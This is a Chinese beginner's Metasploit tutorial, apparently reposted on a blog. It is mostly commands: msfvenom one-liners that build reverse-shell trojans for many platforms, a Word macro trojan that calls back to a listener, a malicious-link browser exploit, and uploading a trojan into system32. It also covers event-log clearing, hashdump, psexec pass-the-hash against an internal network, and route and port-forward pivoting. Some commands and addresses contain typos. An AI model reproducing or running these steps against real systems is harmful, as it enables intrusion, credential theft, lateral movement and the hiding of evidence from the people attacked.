当前位置:   article > 正文

metasploit小白教程总结_module : 'sekurlsa' identifi茅, mais commande 'pth'

module : 'sekurlsa' identifi茅, mais commande 'pth' introuvable

msf小白学习教程一

1.msf是什么?

msf全称:metasplpit
作用:Metasploit是一个渗透测试平台
环境:kali-linux 自动搭建了msf环境

2.msf的详细分解

在这边我就化繁为简,把一些我感觉重要常用的功能详细的讲解一番。

2.1搜索模块

首先肯定是启动msf,启动就很简单了,在kali命令行输入:msfconsole 如果记不住,可以直接:msfc然后加一个tab,然后就会自动补全,回车就好了。


2.1.1 搜索模块命令:search

命令介绍:msfconsole包含广泛的基于正则表达式的搜索功能。如果您对所查找内容有一个大致的了解,则可以通过搜索进行搜索。在下面的输出中,正在搜索MS Bulletin MS09-011。搜索功能将在模块名称,描述,引用等内找到该字符串。

请注意,Metasploit模块的命名约定使用下划线和连字符。
msf > search usermap_script

Name Disclosure Date Rank Description


exploit/multi/samba/usermap_script 2007-05-14 excellent Samba “username map script” Command Execution

2.1.2 help

您可以使用内置的关键字系统进一步优化您的搜索。命令:help search

要使用描述性名称进行搜索,请使用name关键字。

您可以使用platform将搜索范围缩小到影响特定platform(平台)的模块。

使用该type可以按模块类型进行过滤,如auxiliary(辅助),post(提交),exploit(利用)等。


使用author关键字搜索可让您搜索您最喜爱的作者的模块

当然,search命令还可以在拿到一定权限时,可以在受害者机器内搜索想要的信息
Meterpreter具有搜索功能,默认情况下,该功能将清除受感染计算机上的所有驱动器,以查找您选择的文件。
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern
Search for files.
OPTIONS:
-d 开始从中搜索的 目录/驱动器。 留空以搜索所有驱动器。 (默认:)
-f 要搜索的文件模式glob。 (例如* secret * .doc?)
-h 帮助横幅。
-r 递归搜索子目录。 (默认:true)

要在计算机上运行所有jpeg文件搜索,只需使用’-f’开关运行搜索命令并告诉它要查找哪种文件类型。
meterpreter > search -f *.jpg
Found 418 results…
…snip…
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg (28521 bytes)
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Sunset.jpg (71189 bytes)
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Water lilies.jpg (83794 bytes)
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg (105542 bytes)
…snip…

搜索整台计算机可能需要很长时间,并且观察用户可能会注意到他们的硬盘不断颠簸。我们可以通过将它指向一个起始目录并让它运行来缩短搜索时间。
meterpreter > search -d c:\documents\ and\ settings\administrator\desktop\ -f *.pdf
Found 2 results…
c:\documents and settings\administrator\desktop\operations_plan.pdf (244066 bytes)
c:\documents and settings\administrator\desktop\budget.pdf (244066 bytes)
meterpreter >

2.2 msf与meterpreter命令大全
2.2.1 msf命令

核心命令
? 帮助菜单
banner 显示一个真棒metasploit横幅
cd 更改当前的工作目录
color 切换颜色
connect 连接与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep grep另一个命令的输出
help 帮助菜单
history 显示命令历史
irb 进入irb脚本模式
load 加载一个框架插件
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
setg 将全局变量设置为一个值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号

模块命令
advanced 显示一个或多个模块的高级选项
back 从当前上下文返回
edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块

工作命令
handler 作为作业启动负载处理程序
jobs 显示和管理作业
kill 杀死一个工作
rename_job 重命名作业

资源脚本命令
makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令

数据库后端命令
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换

凭证后端命令
creds 列出数据库中的所有凭据


2.2.2 meterpreter命令

.background 从meterpreter退出到msf里

.sessions -i 1 进入meterpreter里

.cat 查看文件内容

.clearev 清楚日志

.download 从远程机器下载文件 download c:\boot.ini

.edit 打开文件。 meterpreter > edit edit.txt

.execute 命令在目标上运行一个命令。meterpreter > execute -f cmd.exe -i -H。

.getuid 显示服务器上运行的用户

.idletume 显示远程机器上的用户空闲的秒数

.lpwd>lcd lpwd-显示当前目录 lcd-跳转到哪个目录

.migrate 迁移到受害者的另一个进程 meterpreter > run post/windows/manage/migrate

.ps 显示正在运行进程的列表

.resource 执行文本里的meterpreter命令 resource 1.txt

.search 查找特定文件 search -f *.doc

.shell 将提供目标系统上的标准shell

.upload 上传文件 meterpreter > upload evil_trojan.exe c:\windows\system32

.webcam_list 显示网络摄像头

.webcam_snap 从目标系统上已连接网络的摄像头抓取图片


2.3 msf生成木马教程

把网上的一些资源整合了一下,还把word宏木马等也加进来了,方便大家利用

2.3.1 生成木马命令:msfvenom

msfcenom详细语法
-e, –encoder [encoder] 指定需要使用的encoder(编码器)
-a, –arch < architecture> 指定payload的目标架构
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度
-b, –bad-chars < list> 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 保存payload
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表

2.3.2 生成木马语句

二进制
linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

web
php:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo '<?php ’ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php

asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

jap:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

脚本
python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

基于pdf的shellcode
use exploit/windows/fileformat/adobe_utilprintf
msf5 exploit(adobe_utilprintf)>set FILENAME BestComputers-UpgradeInstructions.pdfset

PAYLOAD windows/meterpreter/reverse_tcp
其他的就自己填就好了


读到这里,大家肯定会感到疑惑,生成木马后怎么获取权限呢,那么我在这里给出答复,一般情况下用两种方式,一种是用msf的监听模块,还有一种就是nc反弹了,这里我就讲解下msf的监听模块,nc大家就自行百度下


监听模块:use exploit/multi/handler
添加ip,端口不需要讲解吧
添加payload:set payload
payload是生成木马的payload
然后运行:exploit

接下来的比较有意思,基于word的shellcode

生成payload:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.171.129 LPORT=4444 -e x86/shikata_ga_nai -f vba-exe

生成的内容分为两个部分,一部分是宏执行的vba代码,另一部分是payload

然后生成一个空白的word文件

宏名随便输入,然后点击创建,我们拷贝生成的第一部分的内容到这里,然后点击保存

我们现在再打开宏,可以看到生成了下面几个宏

然后我们拷贝第二部分,贴到word文档的正文里面,然后保存关闭

然后在Kali上启动侦听
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.171.129
exploit
当在Windows启动刚刚的word时,我们就取得shell了

2.4 链接钓鱼

运行命令:use exploit/windows/browser/ms10_002_aurora
接着添加:set URIPATH /
加上payload:set PAYLOAD windows/meterpreter/reverse_tcp
运行:exploit -j
当目标访问我们的恶意URL时,我们就得到了shell


####

2.5 内网穿透

内网穿透不知道我理解的有没有毛病,就相当于在目标系统添加路由,然后转发出去,这边我只接受使用msf方法操作,可能感觉有点怪怪的,但是懂得都懂,好兄弟。

2.5.1 route添加路由

命令详细:

  1. add - 制作新路线
  2. remove - 删除路线; 'del’是一个别名
  3. flush - 删除所有路线
  4. get - 显示给定目标的路线
  5. print - 显示所有活动路线

#这边和大家讲下,此方法是获取到了meterpreter后的操作,不过也对,没有获取也不会做到这一步,我真是废话了。

例子:
通过session 1为从192.168.0.0到192.168.0.0的所有主机添加路由
route add 192.168.0.0 255.255.255.0 1
route add 192.168.0.0/24 1

删除上述路线
route remove 192.168.0.0/24 1
route del 192.168.0.0 255.255.255.0 1


显示将用于给定主机或网络的路线
route get 192.168.0.11

2.5.2 autoroute 添加路由

命令说明:

  1. run autoroute -s 10.1.1.0 -n 255.255.255.0#将路由添加到10.10.10.1/255.255.255.0
  2. run autoroute -s 10.10.10.1#网络掩码默认为255.255.0
  3. run autoroute -s 10.10.1/24#CIDR表示法也可以
  4. run autoroute -p#打印活动路由表
  5. run autoroute -d -s 10.10.10.1#删除10.10.1/255.255.0路由
  6. 使用“route”和“ipconfig”metermeter命令了解可用路由


run autorpute -s 10.1.13.0/24 绑定路由


run autoroute -p 查看


_现在开始举一个例子,假如现在测试一个公司系统,拿到了一台主机的权限,查看它的ip段发现,除了它本身的段,还存在10.1.13.0/24的段,那么首先添加10.1.13.0/24的路由,run autoroute -s 10.1.13.0/24,然后我们还得提权到system,然后转储密码散列,退出meterpreter,background

meterpdreter > getsystem
…xxxx system
meterpreter > run hashdump
*
*
administrator:dwadwadwadwadwadwadawd
guest:Dwadwadwad


虽然我们添加了它第二个ip段的路由,但是还是不知道它第二个ip段有没有存活主机,现在用msf扫描一下,这里用基本的tcp端口扫描程序来查找端口139和445


  1. msf:>use auxiliary/scanner/portscan/tcp#进入扫描模块
  2. msf auxiliary(tcp)> set rhosts 10.1.13.0/24
  3. msf auxiliary(tcp)>set ports 139,445
  4. msf auxiliary(tcp)>set threads 50
  5. msf auxiliary(tcp)>run

假设我们发现了一台额外的机器,我们尝试将我们收集的密码哈希与psexec漏洞利用模块一起使用,本地管理员密码在整个企业中通常是相同的。


msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set rhost 10.1013.2

msf exploit(psexec) > set smbuser Administrator

msf exploit(psexec) > set smbpass xxxxxxxxxxxx

msf exploit(psexec) > set payload windows/meterpreter/bind_tcp

msf exploit(psexec) > exploit

#这边就显示了成功获取meterprter


2.5.3 portfwd 添加路由

命令说明:

options:选项
  1. -L :用于指定监听主机。除非需要在特定网络适配器上进行转发,否则可以省略此选项。如果未输入任何值,则将使用0.0.0.0.
  2. -h :显示以上信息
  3. -l :这是一个本地端口,它将在攻击机上监听,与此端口的连接将被转发到远程系统。
  4. -p :tcp连接将转发到的端口。
  5. -r :连接被中继到的ip地址(目标)。

Arguments:参数
  1. Add: 该参数用于创建转发。
  2. Delete: 这将我们的转发端口列表中删除先前的条目。
  3. List: 这将列出当前转发的所有端口。
  4. Flush: 这将删除我们转发列表中的所有端口。
Syntax:语法

add >
在meteroreter shell中,以下列方式使用该命令:


meterpreter > portfwd add -l 3389 -p 3389 -r xxx.xx.xx.xx


• add会将端口转发添加到列表中,并将为我们创建一个隧道。请注意,此通道也将存在于Metasploit控制台之外,使其可用于任何终端会话。
• -l 3389是本地端口,将被监听并转发到我们的目标。这可以是您的机器上的任何端口,只要它尚未被使用。
• -p 3389是我们的定向主机上的目标端口。
• -r [target host]是我们的目标系统的IP或主机名。
  • 1
  • 2
  • 3
  • 4


delete >
与前面的命令非常相似,它是删除条目。再次从有效的Meterpreter会话中,我们输入以下内容:
meterpreter > portfwd delete –l 3389 –p 3389 –r [target host]



声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/456766
推荐阅读
相关标签